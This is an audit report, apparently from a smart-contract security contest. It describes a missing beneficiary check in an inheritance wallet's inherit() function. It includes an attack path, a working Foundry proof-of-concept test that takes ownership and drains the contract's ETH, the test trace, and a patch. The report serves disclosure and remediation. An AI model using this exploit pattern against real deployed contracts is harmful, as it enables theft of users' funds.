Summary
The inherit()
function in InheritanceManager allows any address to claim ownership of the contract after 90 days of inactivity, even if they are not registered beneficiaries, leading to potential theft of all contract assets.
Vulnerability Details
The vulnerability exists in the inherit()
function where there's no validation to ensure the caller is a registered beneficiary.
Affected code:
https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L212C3-L229C6
Attack Path:
Initial State: Contract has funds and one registered beneficiary
Step 1: Attacker waits for 90 days of owner inactivity
Step 2: Attacker calls inherit()
despite not being a beneficiary
Step 3: Attacker becomes the new owner and can call sendETH()
/sendERC20()
Outcome: Attacker drains all contract assets
POC : POC test demonstrating the vulnerability:
function test_inheritVulnerabilityByNonBeneficiary() public {
address attacker = makeAddr("attacker");
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.deal(address(im), 10 ether);
vm.stopPrank();
vm.warp(block.timestamp + 91 days);
vm.startPrank(attacker);
im.inherit();
im.sendETH(10 ether, attacker);
vm.stopPrank();
assertEq(im.getOwner(), attacker);
assertEq(address(im).balance, 0);
assertEq(attacker.balance, 10 ether);
}
POC Test Outcome :
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_inheritVulnerabilityByNonBeneficiary() (gas: 127823)
Traces:
[127823] InheritanceManagerTest::test_inheritVulnerabilityByNonBeneficiary()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7862401 [7.862e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [3672] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [35478] InheritanceManager::sendETH(10000000000000000000 [1e19], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [0] attacker::fallback{value: 10000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [419] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::assertEq(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.07ms (9.29ms CPU time)
Impact
Complete loss of contract funds (ETH, ERC20 tokens, NFTs)
Circumvention of intended inheritance mechanism
Theft of NFTs and other assets
Loss of trust in the inheritance system
Tools Used
Manual review and Foundry
Recommendations
Add beneficiary validation before ownership transfer:
+ error NotBeneficiary();
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
+ // Validate caller is a beneficiary
+ bool isBeneficiary;
+ for (uint256 i = 0; i < beneficiaries.length; i++) {
+ if (beneficiaries[i] == msg.sender) {
+ isBeneficiary = true;
+ break;
+ }
+ }
+ if (!isBeneficiary) revert NotBeneficiary();
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}